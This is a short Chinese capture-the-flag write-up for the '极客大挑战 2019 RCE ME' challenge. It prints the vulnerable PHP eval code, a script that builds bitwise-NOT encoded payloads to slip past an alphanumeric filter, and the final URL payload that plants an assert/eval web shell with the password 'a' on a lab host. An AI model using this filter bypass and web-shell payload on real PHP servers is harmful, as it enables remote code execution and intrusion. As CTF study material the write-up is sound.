[极客大挑战 2019]RCE ME
<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>
取反和异或均可绕过
<?php
$c='phpinfo()';
$d=urlencode(~$c);
$e=~($d);
if(preg_match("/[A-Za-z0-9]+/",$e)){echo 0;
}else {echo 1;
}?>
这个取反号写在外面也没事,慢慢试就发现写里面才有效
?code=(~%8F%97%8F%96%91%99%90)();
然后我找了一下flag发现没有,然后又找了一下不能使用的函数
7.0的版本我们还需要
我们需要调用eval拼接为assert(eval($_POST[a]))
<?php
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='eval($_POST[a])';
$d=urlencode(~$c);
echo $d;?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);
然后链接
http://a967fa8b-203d-4c2a-b4ab-11c784927d01.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);
密码是a
进入之后flag里面没有flag而readflag是一个程序
进入虚拟终端没有权限
使用插件
php7这两个都可以,我们刚才看了php版本的